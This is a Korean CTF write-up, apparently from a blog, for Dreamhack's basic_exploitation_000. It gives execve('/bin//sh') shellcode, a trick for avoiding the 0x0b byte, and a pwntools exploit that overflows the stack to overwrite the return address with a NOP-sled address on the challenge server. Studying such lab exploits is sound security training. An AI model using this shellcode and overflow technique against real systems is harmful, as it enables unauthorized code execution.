출력된 buf 주소와 스택이 들어간 위치 확인해보면 buf에서부터 값이 들어간다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
0b에서 계속 끊기는 현상 발생.
0b 없이 만들어야 한다.
mov al, 0x0b 원래는 이거인데 0x0b는 어짜피 상수이므로 al 레지스터에 0x0b만 만들어주면 된다.
따라서 sub로 만들든 add로 만들든 11이 되도록 만들면 된다.
mov al, 0x08
add al, 0x03
int 0x80
로 만들었다.
이렇게 하니까 정상적으로 쉘코드가 들어가고 return address가 덮혔다!
ret에 놉 주소가 들어가있는 것 확인 가능!
그리고 nop으로 뛰었다
저 부분에서 오류 생겨서 xor al, al 즉 al 초기화부분을 넣어봤다.
text.s
global _start
_start:
xor al, al
mov al, 0x22
sub al, 0x17
# push 0xc
# pop eax
# sub eax, 0x1
int 0x80
ex.py
#!/usr/bin/python
from pwn import *
#context.arch = 'i386'
context.log_level = 'debug'
#p = process("./basic_exploitation_000")
p = remote("host1.dreamhack.games", 8237)
elf = ELF("./basic_exploitation_000")
p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
log.info("buf : "+hex(buf))
#gdb.attach(p)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x22\x2c\x17\xcd\x80"
pay = '\x90'*48 + shellcode +'\x90'*(0x84-48-len(shellcode)) + p32(buf)
p.sendlineafter("\n", pay)
p.interactive()
[Dreamhack] house_of_spirit (0) | 2020.06.12 |
---|---|
[DreamHack] hook (0) | 2020.05.31 |
[DreamHack] basic_exploitation_003 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_002 (0) | 2020.05.31 |
[DreamHack] basic_exploitation_001 (0) | 2020.05.31 |